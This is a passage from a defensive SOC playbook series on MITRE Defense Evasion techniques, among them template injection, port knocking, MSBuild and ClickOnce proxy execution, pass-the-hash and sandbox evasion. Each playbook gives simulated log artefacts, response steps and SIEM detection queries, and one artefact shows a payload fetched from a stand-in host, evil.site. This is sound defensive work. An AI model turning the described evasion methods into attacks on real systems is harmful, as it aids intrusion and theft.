2. Does input allow expression evaluation or code execution?
3. Are OS commands, file reads or network calls executed as a result?
4. Is execution occurring without a new process binary?

Decision point

- Template misconfiguration without execution → application bug
- Arbitrary execution → escalate immediately

Step 2 Identify template engine and injection type

Engine	Injection Type	Evasion Value
Jinja2 / Twig	SSTI	Server-side execution
Velocity / FreeMarker	SSTI	Java app abuse
Handlebars / Mustache	Logic abuse	Client/server hybrid
Razor / ERB	Code execution	Framework trust abuse

Step 3 Map behaviour to attacker intent

3A) Application-Level Execution

Indicators

- Commands run by web app process

Attacker intent

- Bypass OS-level detection

3B) Stealth and Blending

Indicators

- Execution inside legitimate app logs

Attacker intent

- Avoid security tooling

3C) Pivot Enablement

Indicators

- File access, credential exposure

Attacker intent

- Move deeper into environment

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Application-initiated outbound traffic
2. Credential Access
 - Secrets or config file access
3. Persistence
 - Web shells, backdoor templates
4. Lateral Movement
 - Abuse of application trust to pivot

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Disable affected application endpoints
2. Block malicious input patterns at WAF
3. Isolate affected application servers

If template injection confirmed

1. Notify SOC leadership and application owners
2. Preserve application logs and templates

3. Assume application-layer trust compromise

Eradication and recovery

- Sanitize and escape all user-supplied input
- Enforce strict template sandboxing
- Patch vulnerable frameworks
- Rotate credentials exposed via templates
- Rebuild application if integrity is uncertain

Detection engineering (SIEM / AppSec ideas)

A) Template expression detection

index=web

| where request_body LIKE "%{%%" OR request_body LIKE "%\${%"

B) Application spawning OS commands

index=edr

| where parent_process="webserver" AND action="execute_process"

C) Template rendering errors

index=app

| where error LIKE "%Template%"

Analyst checklist

- Template injection confirmed
- Engine and injection vector identified
- Application isolated
- Input validation fixed
- Incident severity escalated

Post-incident improvements

- Treat template engines as execution surfaces
- Enforce strict separation of data and logic
- Enable template sandboxing and least privilege

- Monitor application → OS execution chains
- Correlate user input → template render → execution

Playbook 124 (MITRE Defense Evasion): Traffic Signaling

Technique: Traffic Signaling

Sub-techniques:

- Port Knocking
- Socket Filters

Purpose

Detect, investigate and respond to adversaries evading defenses by using covert network signaling mechanisms to control access or activate malicious functionality, enabling attackers to:

- Hide command and control behind seemingly closed ports
- Avoid persistent listening services that trigger detection
- Activate backdoors only after receiving specific network “signals”
- Blend malicious traffic into normal network noise
- Evade firewall, IDS and anomaly-based detections

Traffic Signaling is defense evasion through conditional network activation attackers do not keep services openly accessible they wait silently until the correct signal arrives.

When to trigger this playbook

Trigger this playbook when indicators suggest covert network-based activation or filtering, including:

- Repeated connection attempts to closed or unused ports in a specific sequence
- Services that suddenly become reachable after network “noise”
- Kernel or user-space socket filtering behaviour
- Inbound traffic that does not appear in normal socket listings
- Network activity with no corresponding application-layer listener

Example use case scenario (end-to-end)

Context: Network monitoring shows repeated TCP SYN packets to a sequence of high ports. No service appears open initially. After the sequence completes, a previously closed SSH backdoor becomes accessible.

Attacker objective: Evade detection by activating malicious services only when signaled.

Defender objective: Identify covert signaling behaviour and disable hidden access mechanisms.

What it looks like (simulated SOC artefacts)

A) Port Knocking Sequence

SourceIP=203.0.113.45

Ports=4001 → 4003 → 4007

Protocol=TCP

Timing=Consistent

B) Service Activation After Knock

Port=2222

State=Open

Service=Backdoor SSH

C) Socket Filter Usage

KernelModule=netfilter

FilterRule=Custom

Visibility=Hidden

D) Hidden Traffic

PacketReceived=True

SocketVisible=False

E) Firewall Bypass

FirewallRules=Unchanged

Access=Granted

F) Evasion Outcome

Listener=Dormant

Activation=Conditional

Detection=Delayed

Severity decision (SOC)

Medium

- Suspicious signaling behaviour without confirmed access

High

- Port knocking or socket filtering confirmed

Critical

- Traffic signaling used to enable backdoors or C2

Example severity: High / Critical

(Covert network access mechanism detected)

Step-by-step SOC workflow

Step 1 Validate traffic signaling behaviour

Confirm:

1. Are there repeated connection attempts to closed or unused ports?
2. Do these attempts follow a specific order or timing pattern?
3. Does a service become reachable only after the signal?
4. Are packets received without corresponding socket visibility?

Decision point

- Legitimate network scanning → validate source and purpose
- Covert signaling → escalate immediately

Step 2 Identify sub-technique

Sub-technique	Indicator	Evasion Value
Port Knocking	Ordered port sequence	Hidden service activation

Socket Filters	Kernel-level filtering	Invisible listeners
----------------	------------------------	---------------------

Step 3 Map behaviour to attacker intent

3A) Stealth Access Control

Indicators

- Services inactive until signaled

Attacker intent

- Avoid detection and scanning

3B) Firewall and IDS Evasion

Indicators

- No rule changes, yet access granted

Attacker intent

- Bypass perimeter defenses

3C) Persistent Backdoor Enablement

Indicators

- Reusable signaling patterns

Attacker intent

- Maintain covert access

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Hidden C2 channels activated by signaling
2. Persistence
 - Backdoors bound to conditional listeners

3. Lateral Movement
 - Signal-activated pivot services
4. Defense Evasion
 - Kernel modules or packet filters

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Block signaling source IPs
2. Disable affected network interfaces or hosts
3. Capture full packet traces

If traffic signaling confirmed

1. Notify SOC leadership and network teams
2. Remove hidden services and kernel filters
3. Assume covert access may exist elsewhere

Eradication and recovery

- Remove port-knocking daemons or scripts
- Audit and clean firewall and kernel filter configurations
- Reimage systems if kernel manipulation is confirmed
- Rotate credentials accessible via signaled services
- Monitor for recurrence of signaling patterns

Detection engineering (SIEM / NDR ideas)

A) Port knock sequence detection

index=network

| stats values(dest_port) as ports by src_ip

| where mvcount(ports) > 3

B) Traffic to closed ports

index=network

| where action="blocked" AND repeat_count>threshold

C) Packet received without socket

index=edr

| where network_event=true AND socket_visible=false

Analyst checklist

- Traffic signaling behaviour confirmed
- Sub-technique identified
- Hidden service disabled
- Host and network cleaned
- Incident severity updated

Post-incident improvements

- Treat closed-port traffic patterns as potential signals
- Enable NDR analytics for sequence-based detection
- Monitor kernel and socket-level filtering changes
- Correlate port sequences → service activation → authentication
- Include traffic signaling in threat-hunting playbooks

Playbook 125 (MITRE Defense Evasion): Trusted Developer Utilities Proxy Execution

Technique: Trusted Developer Utilities Proxy Execution

Sub-techniques:

- MSBuild
- ClickOnce
- JamPlus

Purpose

Detect, investigate and respond to adversaries evading defenses by abusing trusted developer tools and build utilities to proxy malicious execution, enabling attackers to:

- Execute malicious code without custom binaries
- Bypass application allow-listing and reputation-based detection
- Blend into legitimate development or deployment workflows
- Abuse signed, trusted developer utilities as execution engines
- Evade security controls that trust developer tooling by default

Trusted Developer Utilities Proxy Execution is defense evasion through developer trust abuse attackers do not introduce malware binaries they weaponise tools defenders expect to be powerful and trusted.

When to trigger this playbook

Trigger this playbook when indicators suggest developer utilities executing code outside normal build or deployment contexts, including:

- MSBuild executing inline tasks or suspicious project files
- ClickOnce launching unexpected applications or payloads
- JamPlus invoking custom build scripts without developer activity
- Developer tools spawning network connections or shell processes
- Execution chains lacking a traditional executable payload

Example use case scenario (end-to-end)

Context: SOC detects outbound HTTPS traffic from MSBuild.exe. No developer activity is scheduled. Command-line inspection reveals an inline C# task executing PowerShell logic.

Attacker objective: Evade detection by proxying execution through trusted developer utilities.

Defender objective: Detect developer-tool abuse and break the execution chain.

What it looks like (simulated SOC artefacts)

A) MSBuild Abuse

Binary=MSBuild.exe

Project=payload.xml

InlineTask=Yes

Execution=Shellcode

B) ClickOnce Abuse

Binary=ClickOnceLauncher.exe

AppSource=https://evil.site/app.application

Execution=Silent

C) JamPlus Abuse

Binary=jam.exe

BuildScript=malicious.jam

CommandExecution=Yes

D) No Dropped Executable

CustomBinary=None

ExecutionContext=TrustedUtility

E) Allow-list Bypass

Binary=Signed

Policy=Allowed

F) Evasion Outcome

Execution=Successful

Detection=Delayed

Severity decision (SOC)

High

- Developer utility abuse detected but execution blocked

Critical

- Successful malicious execution via developer utilities

Example severity: Critical

(Trusted developer tooling abused for malware execution)

Step-by-step SOC workflow

Step 1 Validate developer utility proxy execution

Confirm:

1. Is a trusted developer utility executing code?
2. Is the execution outside normal development or CI/CD activity?
3. Are scripts, inline tasks or remote resources involved?
4. Is the execution chain free of custom executables?

Decision point

- Legitimate build/deployment → validate developer, timing and purpose
- Malicious proxy execution → escalate immediately

Step 2 Identify abused utility

Utility	Abuse Pattern	Evasion Value
MSBuild	Inline tasks / XML payloads	AppLocker bypass
ClickOnce	Remote app execution	Signed deployment abuse
JamPlus	Build script execution	Developer workflow blending

Step 3 Map behaviour to attacker intent

3A) Allow-list and Policy Bypass

Indicators

- Execution via signed developer tools

Attacker intent

- Defeat execution controls

3B) Stealth Execution

Indicators

- No custom binaries on disk

Attacker intent

- Reduce detection surface

3C) Living-off-the-Land

Indicators

- Abuse of legitimate tooling

Attacker intent

- Blend into trusted environments

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Network traffic from developer utilities
2. Persistence
 - Scheduled tasks, registry or build pipeline abuse
3. Credential Access
 - Tool-executed credential harvesting

4. Lateral Movement
 - Developer tools used across hosts

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected host
2. Terminate abused developer utilities
3. Block outbound traffic from build tools

If abuse confirmed

1. Notify SOC leadership, endpoint and DevOps teams
2. Preserve project files, scripts and command-lines
3. Assume developer tooling trust may be abused elsewhere

Eradication and recovery

- Remove malicious project files, scripts or deployment manifests
- Patch and update developer tools
- Harden AppLocker / WDAC rules for developer utilities
- Restrict developer tools to approved users and contexts
- Reimage systems if integrity is uncertain

Detection engineering (SIEM / EDR ideas)

A) Developer utilities execution monitoring

index=edr

| where process_name IN ("MSBuild.exe","ClickOnceLauncher.exe","jam.exe")

B) Inline task or script execution

index=edr

| where command_line LIKE "%InlineTask%" OR command_line LIKE "%.xml%"

C) Developer tools initiating network connections

index=network

| where process_name IN ("MSBuild.exe","ClickOnceLauncher.exe","jam.exe")

Analyst checklist

- Developer utility proxy execution confirmed
- Abused tool identified
- Payload source identified
- Host isolated and remediated
- Incident severity escalated

Post-incident improvements

- Treat developer utilities as high-risk execution engines
- Alert on developer tool execution outside CI/CD pipelines
- Restrict build tools using least-privilege access
- Correlate trusted utility + abnormal arguments + network activity
- Train analysts that “developer tool ≠ benign behaviour”

Playbook 126 (MITRE Defense Evasion): Unused / Unsupported Cloud Regions

Technique: Unused / Unsupported Cloud Regions

Purpose

Detect, investigate and respond to adversaries evading defenses by abusing cloud regions that are not actively monitored, supported or expected by the organisation, enabling attackers to:

- Deploy infrastructure outside normal security visibility
- Bypass regional logging, alerting and compliance controls
- Evade detection by hiding activity in “forgotten” or ignored regions
- Establish command-and-control, staging or persistence in cloud accounts
- Abuse gaps between governance policy and actual cloud coverage

Unused or unsupported cloud regions represent defense evasion through governance blind spots attackers don’t break security controls they operate where controls don’t exist.

When to trigger this playbook

Trigger this playbook when indicators suggest cloud activity occurring in unexpected or unsupported regions, including:

- Cloud resources created in regions not approved by policy
- Billing, audit or API logs referencing unfamiliar regions
- Network traffic communicating with cloud services in rare regions
- IAM or service usage appearing without corresponding regional monitoring
- SOC tools lacking telemetry for specific cloud geographies

Example use case scenario (end-to-end)

Context: Cloud billing alerts show compute usage in an unfamiliar region. SOC tools show no alerts because logging is disabled for that region. Investigation reveals an attacker deploying a malicious C2 server in an unused cloud region within the organisation’s compromised cloud account.

Attacker objective: Evade detection by operating in cloud regions outside normal monitoring scope.

Defender objective: Identify unauthorised regional usage and close governance gaps.

What it looks like (simulated SOC artefacts)

A) Unexpected Cloud Region Usage

CloudProvider=AWS

Region=me-south-1

Service=EC2

ApprovedRegion=False

B) Missing Telemetry

CloudTrail=Disabled

Region=Unused

SOCVisibility=None

C) C2 Infrastructure

InstanceRole=Anonymous

OutboundTraffic=Beaconing

Region=Low-Monitoring

D) IAM Abuse

User=CompromisedIAM

Action=CreateInstance

Region=Unsupported

E) Billing Anomaly

CostIncrease=True

Region=PreviouslyUnused

F) Evasion Outcome

Monitoring=Bypassed

Detection=Delayed

Severity decision (SOC)

Medium

- Unexpected region usage without confirmed malicious activity

High

- Unauthorised workloads in unsupported regions

Critical

- Malicious infrastructure or C2 confirmed in unused regions

Example severity: High / Critical

(Cloud governance and visibility bypass)

Step-by-step SOC workflow

Step 1 Validate regional misuse

Confirm:

1. Is the cloud region approved and supported by policy?
2. Are security controls (logging, monitoring, alerts) enabled in that region?
3. Is the activity expected business usage or anomalous?
4. Are IAM identities acting outside their normal regional scope?

Decision point

- Legitimate expansion → validate with cloud governance team
- Unauthorised region usage → escalate immediately

Step 2 Identify evasion pattern

Pattern	Indicator	Evasion Value
Shadow region	Resource creation in unused region	No monitoring
Logging gap	CloudTrail / logs disabled	Reduced visibility
Regional IAM abuse	Global IAM used anywhere	Policy bypass
C2 hosting	Beaconing from rare regions	Detection avoidance

Step 3 Map behaviour to attacker intent

3A) Detection Avoidance

Indicators

- Activity only visible via billing or API logs

Attacker intent

- Hide from SOC tooling

3B) Infrastructure Persistence

Indicators

- Long-lived resources in unused regions

Attacker intent

- Maintain resilient C2 or staging

3C) Governance Bypass

Indicators

- Policy gaps across regions

Attacker intent

- Exploit organisational blind spots

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Command and Control
 - Cloud-hosted C2 endpoints
2. Exfiltration
 - Data transfer to regional cloud storage
3. Persistence
 - IAM backdoors enabling regional creation

- 4. Lateral Movement
 - Cross-account or cross-region expansion

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Disable or quarantine resources in unsupported regions
2. Block regional access via SCPs / policies
3. Enable logging and monitoring retroactively if possible

If malicious use confirmed

1. Notify SOC leadership, CloudSec and governance teams
2. Terminate malicious cloud resources
3. Assume cloud account compromise until proven otherwise

Eradication and recovery

- Remove unauthorised resources in unused regions
- Rotate compromised IAM credentials
- Enforce region-restriction policies (SCPs, Azure Policies, GCP Org Policies)
- Enable logging, alerts and security tooling in all regions
- Review cloud governance and regional approval processes

Detection engineering (SIEM / Cloud ideas)

A) Resource creation in unsupported regions

index=cloud_audit

| where region NOT IN approved_regions

B) Billing anomalies by region

index=cloud_billing

| stats sum(cost) by region

| where region NOT IN baseline_regions

C) IAM actions across regions

index=cloud_audit

| where action="Create*" AND region NOT IN approved_regions

Analyst checklist

- Unsupported region usage confirmed
- Resources identified and isolated
- IAM scope reviewed
- Governance gaps documented
- Incident severity updated

Post-incident improvements

- Treat cloud regions as security boundaries
- Enforce “deny-by-default” for unused regions
- Enable baseline logging and alerts in all regions
- Monitor billing as a detection signal
- Correlate IAM action → region → workload → network activity

Playbook 127 (MITRE Defense Evasion): Use Alternate Authentication Material

Technique: Use Alternate Authentication Material

Sub-techniques:

- Application Access Token
- Pass the Hash
- Pass the Ticket
- Web Session Cookie

Purpose

Detect, investigate and respond to adversaries evading defenses by authenticating without usernames and passwords, using stolen or forged authentication artefacts instead, enabling attackers to:

- Bypass MFA and password-based detections
- Authenticate without triggering failed-login alerts
- Reuse valid authentication material indefinitely
- Impersonate users or applications invisibly
- Maintain stealthy access without credential brute force

Using alternate authentication material is defense evasion through credential abstraction attackers don't log in like users they replay trust itself.

When to trigger this playbook

Trigger this playbook when indicators suggest authentication without normal credential use, including:

- Successful logins with no corresponding authentication attempts
- Access tokens used outside expected apps, regions or time windows
- Kerberos ticket usage without logon events
- NTLM authentication without password entry
- Active sessions persisting after password resets

Example use case scenario (end-to-end)

Context: SOC resets a compromised user's password. Despite the reset, the attacker continues accessing internal systems. Logs show Kerberos TGS usage without new authentication.

Attacker objective: Maintain access by reusing stolen authentication material.

Defender objective: Invalidate alternate auth artefacts and restore identity integrity.

What it looks like (simulated SOC artefacts)

A) Application Access Token Abuse

TokenType=OAuth

App=TrustedAPI

User=svc-account

Geo=Unexpected

B) Pass the Hash

AuthType=NTLM

PasswordUsed=False

HashReplay=True

C) Pass the Ticket

KerberosTicket=TGS

LogonEvent=None

Reuse=True

D) Web Session Cookie Abuse

Cookie=SESSIONID

BrowserFingerprint=Mismatch

LoginPrompt=Skipped

E) Password Reset Ineffective

PasswordReset=True

SessionActive=True

F) Evasion Outcome

AuthSuccessful=True

Detection=Delayed

Severity decision (SOC)

High

- Suspicious token, ticket or hash usage

Critical

- Confirmed authentication using alternate material

Example severity: Critical

(Identity security controls bypassed)

Step-by-step SOC workflow

Step 1 Validate alternate authentication usage

Confirm:

1. Did authentication succeed without a password or MFA challenge?
2. Is access using tokens, hashes, tickets or cookies?
3. Is usage outside expected context (device, IP, region, app)?
4. Did password reset fail to terminate access?

Decision point

- Legitimate SSO/session reuse → validate expected behaviour
- Malicious reuse → escalate immediately

Step 2 Identify sub-technique

Sub-technique	Indicator	Evasion Value
Application tokens	API access without login	MFA bypass
Pass the Hash	NTLM replay	Passwordless auth
Pass the Ticket	Kerberos reuse	Domain stealth
Web cookies	Session hijack	Browser trust abuse

Step 3 Map behaviour to attacker intent

3A) MFA and Password Bypass

Indicators

- Auth success without challenges

Attacker intent

- Avoid credential-based detection

3B) Persistence Without Accounts

Indicators

- Continued access post reset

Attacker intent

- Maintain stealth foothold

3C) Lateral Identity Abuse

Indicators

- Token reuse across services

Attacker intent

- Expand access invisibly

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - LSASS dumping, browser theft
2. Lateral Movement
 - Ticket reuse across hosts
3. Persistence
 - Token generation or refresh abuse
4. Command and Control

- API-based C2 channels

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Invalidate tokens, tickets and sessions
2. Revoke Kerberos tickets (KRBTGT if needed)
3. Force re-authentication across services

If abuse confirmed

1. Notify SOC leadership and IAM teams
2. Assume identity material compromise
3. Expand scope to related users and apps

Eradication and recovery

- Reset affected accounts and invalidate sessions
- Rotate service principals, API secrets and tokens
- Reset KRBTGT (twice) for domain compromise
- Enforce short token lifetimes and device binding
- Review IAM, SSO and session-management policies

Detection engineering (SIEM / IAM ideas)

A) Authentication without password/MFA

index=auth

| where auth_success=true AND password_used=false

B) Kerberos ticket use without logon

index=windows

| where event_type="Kerberos" AND logon_event=false

C) Token use outside expected context

index=cloud_auth

| where token_used=true AND geo NOT IN baseline_geo

Analyst checklist

- Alternate auth material confirmed
- Sub-technique identified
- Sessions and tokens revoked
- Scope expanded to related identities
- Incident severity escalated

Post-incident improvements

- Treat authentication artefacts as credentials
- Alert on access without password or MFA
- Bind tokens to device, IP and session context
- Reduce token lifetimes and enforce re-auth
- Correlate password reset + continued access as a critical signal

Playbook 128 (MITRE Defense Evasion): Valid Accounts

Technique: Valid Accounts

Sub-techniques:

- Default Accounts
- Domain Accounts
- Local Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries evading defenses by using legitimate, authorised accounts instead of exploits or malware, enabling attackers to:

- Blend malicious activity into normal user behaviour
- Bypass intrusion and malware-based detection
- Avoid exploit, brute-force and signature-based alerts
- Maintain persistence using legitimate credentials
- Operate with full trust inside identity and access systems

Valid Accounts is defense evasion through legitimacy attackers don't break in loudly they log in like everyone else.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious activity conducted using legitimate credentials, including:

- Suspicious actions performed by valid users or service accounts
- No malware or exploit activity despite confirmed compromise
- Account usage outside normal hours, locations or devices
- Default or dormant accounts suddenly becoming active
- Cloud or domain actions that appear authorised but abnormal

Example use case scenario (end-to-end)

Context: SOC detects sensitive database access from a known domain user. No malware is present. User denies activity and was logged in from an unusual location. Investigation confirms credential compromise and valid account abuse.

Attacker objective: Evade detection by operating entirely within legitimate access controls.

Defender objective: Identify malicious behaviour hidden inside normal account usage.

What it looks like (simulated SOC artefacts)

A) Default Account Abuse

Account=admin

Status=Enabled

Usage=Unexpected

B) Domain Account Abuse

User=j.smith

LogonType=Interactive

Geo=NewCountry

C) Local Account Abuse

Account=localadmin

Host=Workstation23

Privilege=High

D) Cloud Account Abuse

Account=svc-api

TokenUsed=True

Service=CloudStorage

E) No Malware Indicators

EDRAlerts=None

ExploitActivity=None

F) Evasion Outcome

Access=Legitimate

Detection=Behavioural

Severity decision (SOC)

Medium

- Suspicious account usage without confirmed compromise

High

- Confirmed account compromise with limited scope

Critical

- Privileged, default or cloud account abuse

Example severity: High / Critical

(Trust-based access abused)

Step-by-step SOC workflow

Step 1 Validate valid account abuse

Confirm:

1. Is the account legitimate and authorised?
2. Is behaviour inconsistent with the account's normal baseline?
3. Is there no exploit or malware activity?
4. Does activity rely solely on existing permissions?

Decision point

- Legitimate admin activity → validate change request
- Malicious use of valid account → escalate immediately

Step 2 Identify sub-technique

Sub-technique	Indicator	Evasion Value
Default accounts	Preconfigured creds	Known access paths

Domain accounts	AD user abuse	Full network access
Local accounts	Host-level admin	Endpoint persistence
Cloud accounts	API / console access	Cloud-wide stealth

Step 3 Map behaviour to attacker intent

3A) Stealth and Blending

Indicators

- Actions appear authorised

Attacker intent

- Avoid triggering alerts

3B) Persistence

Indicators

- Continued access without malware

Attacker intent

- Maintain long-term foothold

3C) Lateral Expansion

Indicators

- Account used across systems

Attacker intent

- Expand access quietly

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Hash dumping, token theft
2. Privilege Escalation

- Group membership changes
- 3. Lateral Movement
 - RDP, SMB, cloud API usage
- 4. Persistence
 - New accounts, access delegation

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Disable or suspend suspicious accounts
2. Terminate active sessions
3. Force password reset and token revocation

If valid account abuse confirmed

1. Notify SOC leadership and IAM teams
2. Assume credential compromise
3. Expand investigation to related accounts

Eradication and recovery

- Reset affected credentials and secrets
- Rotate service account keys and tokens
- Remove unnecessary privileges
- Disable or remove default and dormant accounts
- Rebaseline account behaviour

Detection engineering (SIEM / IAM ideas)

A) Account activity anomaly detection

index=auth

| where user IN valid_accounts

| where geo NOT IN baseline_geo OR time NOT IN baseline_time

B) Default account usage

index=auth

| where user IN ("admin","root","administrator")

C) Cloud account API abuse

index=cloud_auth

| where action_count > baseline

Analyst checklist

- Valid account abuse confirmed
- Account type identified
- Credentials reset
- Scope expanded
- Incident severity updated

Post-incident improvements

- Treat credentials as attack tools
- Remove or disable default accounts
- Enforce MFA for all account types
- Apply behaviour-based detection on identities
- Correlate legitimate login + abnormal behaviour

Playbook 129 (MITRE Defense Evasion): Virtualization / Sandbox Evasion

Technique: Virtualization / Sandbox Evasion

Sub-techniques:

- System Checks
- User Activity-Based Checks
- Time-Based Checks

Purpose

Detect, investigate and respond to adversaries evading defenses by detecting virtualized, sandboxed or automated analysis environments, enabling attackers to:

- Suppress malicious behaviour during analysis
- Evade malware detonation sandboxes and automated triage
- Delay or disable payload execution until on a real victim system
- Produce “clean” analysis results while remaining malicious
- Defeat SOC tooling that relies on dynamic analysis

Virtualization / Sandbox Evasion is defense evasion through environmental awareness attackers don't defeat detection engines directly they refuse to behave maliciously when watched.

When to trigger this playbook

Trigger this playbook when indicators suggest malware behaving differently in analysis environments, including:

- Malware samples that appear benign in sandbox but malicious in the wild
- Conditional execution based on hardware, OS or environment checks
- Payloads that execute only after delays or user interaction
- Absence of malicious activity during automated detonation
- Known evasion APIs or checks observed during static analysis

Example use case scenario (end-to-end)

Context: A suspicious executable detonated in sandbox shows no malicious behaviour. However, on an employee laptop it executes ransomware within minutes. Reverse engineering reveals VM checks and time-based execution delays.

Attacker objective: Evade detection by hiding malicious behaviour from analysis systems.

Defender objective: Identify evasion logic and assess true malware capability.

What it looks like (simulated SOC artefacts)

A) System Check – Virtualization Detection

Check=VMware/VirtualBox

Result=Detected

MaliciousLogic=Disabled

B) User Activity Check

MouseMovement=None

Keystrokes=None

Execution=Deferred

C) Time-Based Delay

Sleep=600000ms

Execution=Post-Delay

D) Conditional Payload Execution

Condition=RealUserDetected

Payload=Activated

E) Sandbox Result

Verdict=Clean

Behaviour=None

F) Real-World Outcome

Execution=Malicious

Impact=Confirmed

Severity decision (SOC)

Medium

- Evasion behaviour suspected but no confirmed impact

High

- Malware employing sandbox evasion techniques

Critical

- Sandbox evasion used to deliver high-impact payloads

Example severity: High / Critical

(Detection mechanisms intentionally bypassed)

Step-by-step SOC workflow

Step 1 Validate sandbox evasion behaviour

Confirm:

1. Does malware perform environmental checks?
2. Is malicious behaviour conditional or delayed?
3. Do sandbox and real-host outcomes differ significantly?
4. Are known VM, user-activity or timing checks present?

Decision point

- Legitimate conditional logic → assess context
- Malicious evasion logic → escalate immediately

Step 2 Identify evasion sub-technique

Sub-technique	Indicator	Evasion Value
System checks	VM / sandbox artefacts	Avoid detonation
User activity checks	Mouse / keyboard tests	Require human
Time-based checks	Sleep / delays	Outwait sandbox

Step 3 Map behaviour to attacker intent

3A) Detection Avoidance

Indicators

- Clean sandbox results

Attacker intent

- Bypass automated analysis

3B) Payload Protection

Indicators

- Conditional execution

Attacker intent

- Preserve malware capability

3C) Targeted Execution

Indicators

- Execution only on real hosts

Attacker intent

- Attack real victims only

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution
 - Payload activation after conditions met
2. Impact
 - Ransomware, data theft, sabotage
3. Persistence
 - Dormant malware awaiting triggers
4. Command and Control
 - Delayed beaconing

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Isolate affected endpoints
2. Block execution of suspicious binaries
3. Preserve samples for deep analysis

If sandbox evasion confirmed

1. Notify SOC leadership and malware analysis teams
2. Treat sample as high-risk regardless of sandbox verdict
3. Expand hunt for similar artefacts

Eradication and recovery

- Remove malicious files from endpoints
- Patch exploited delivery vectors
- Update detection rules for evasion logic
- Reimage systems if execution occurred
- Educate SOC on sandbox blind spots

Detection engineering (SIEM / EDR ideas)

A) Sleep and delay detection

index=edr

| where api_call IN ("Sleep","NtDelayExecution") AND duration > threshold

B) VM artefact checks

index=edr

| where api_call IN ("GetSystemInfo","CPUID") AND context="execution"

C) User-interaction gating

index=edr

| where execution_delayed=true AND user_activity_required=true

Analyst checklist

- Sandbox evasion behaviour confirmed
- Sub-technique identified
- Sample analysed outside sandbox constraints
- Endpoints isolated and remediated
- Incident severity updated

Post-incident improvements

- Treat sandbox verdicts as advisory, not authoritative
- Combine static, behavioural and threat-intel analysis
- Improve sandbox realism (user activity, timing, hardware)
- Alert on conditional execution logic
- Correlate clean sandbox + malicious real-world execution

Playbook 130 (MITRE Defense Evasion): Weaken Encryption

Technique: Weaken Encryption

Sub-techniques:

- Reduce Key Space
- Disable Crypto Hardware

Purpose

Detect, investigate and respond to adversaries evading defenses by intentionally weakening cryptographic protections, enabling attackers to:

- Decrypt protected data faster or in real time
- Bypass secure communications and storage controls
- Downgrade security without fully disabling encryption (stealth)
- Exploit weak crypto to avoid triggering “encryption disabled” alerts
- Intercept, tamper with or replay encrypted traffic

Weaken Encryption is defense evasion through cryptographic degradation attackers don’t remove encryption they make it weak enough to break quietly.

When to trigger this playbook

Trigger this playbook when indicators suggest cryptographic strength has been reduced or hardware protections bypassed, including:

- Sudden changes to TLS versions, cipher suites or key lengths
- Legacy or deprecated crypto algorithms being re-enabled
- Hardware security modules (HSM, TPM) unexpectedly disabled
- Software crypto used where hardware-backed crypto was expected
- Increased plaintext visibility or successful MITM activity

Example use case scenario (end-to-end)

Context: SOC detects successful TLS interception on an internal service. Configuration review shows TLS downgraded to weak cipher suites. TPM-backed key storage was disabled during a “maintenance window”.

Attacker objective: Evade detection by weakening encryption just enough to intercept data.

Defender objective: Identify cryptographic downgrade and restore strong encryption guarantees.

What it looks like (simulated SOC artefacts)

A) Reduced Key Space

Protocol=TLS

Cipher=AES-128

KeyExchange=RSA-1024

Status=Deprecated

B) Forced Downgrade

TLSVersion=1.0

Preferred=1.2/1.3

DowngradeDetected=True

C) Disabled Crypto Hardware

Hardware=TPM

State=Disabled

Fallback=SoftwareCrypto

D) Application Configuration Change

Config=crypto.conf

Change=KeyLengthReduced

Approved=False

E) Successful Interception

Traffic=Decrypted

MITM=Possible

F) Evasion Outcome

Encryption=Present

Strength=Insufficient

Detection=Delayed

Severity decision (SOC)

Medium

- Weak crypto detected without confirmed exploitation

High

- Crypto weakening confirmed and exploitable

Critical

- Data interception, decryption or tampering confirmed

Example severity: High / Critical

(Security guarantees silently degraded)

Step-by-step SOC workflow

Step 1 Validate encryption weakening

Confirm:

1. Has cryptographic strength changed (keys, algorithms, versions)?
2. Were changes approved and documented?
3. Is encryption still enabled but weaker than baseline?
4. Has hardware-backed crypto been disabled or bypassed?

Decision point

- Legitimate compatibility change → validate risk acceptance
- Unauthorised weakening → escalate immediately

Step 2 Identify sub-technique

Sub-technique	Indicator	Evasion Value
Reduce key space	Shorter keys / weak ciphers	Faster decryption
Disable crypto hardware	TPM/HSM off	Software key exposure

Step 3 Map behaviour to attacker intent

3A) Covert Data Access

Indicators

- Encryption present but broken

Attacker intent

- Intercept data without alarms

3B) Detection Avoidance

Indicators

- No “encryption disabled” events

Attacker intent

- Avoid policy-based alerts

3C) Long-Term Exploitation

Indicators

- Persistent weak crypto configs

Attacker intent

- Ongoing decryption capability

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Passwords, tokens exposed in transit
2. Exfiltration

- Data siphoned via weakened channels
- 3. Command and Control
 - TLS MITM or downgraded channels
- 4. Impact
 - Data manipulation or replay attacks

Decision point

- Follow-on activity detected → escalate to Crisis / Executive IR

Containment actions

Immediate

1. Re-enable strong crypto settings
2. Block deprecated protocols and ciphers
3. Re-enable hardware-backed crypto

If exploitation confirmed

1. Notify SOC leadership, AppSec and Platform teams
2. Assume data-in-transit compromise
3. Expand scope to all systems using similar configs

Eradication and recovery

- Restore approved crypto baselines (TLS 1.2+/1.3, strong ciphers)
- Re-enable TPM/HSM and rotate all affected keys
- Reissue certificates and secrets
- Audit all crypto-related configuration changes
- Validate integrity of data transmitted during exposure window

Detection engineering (SIEM / SecEng ideas)

A) Weak cipher or protocol usage

index=network_tls

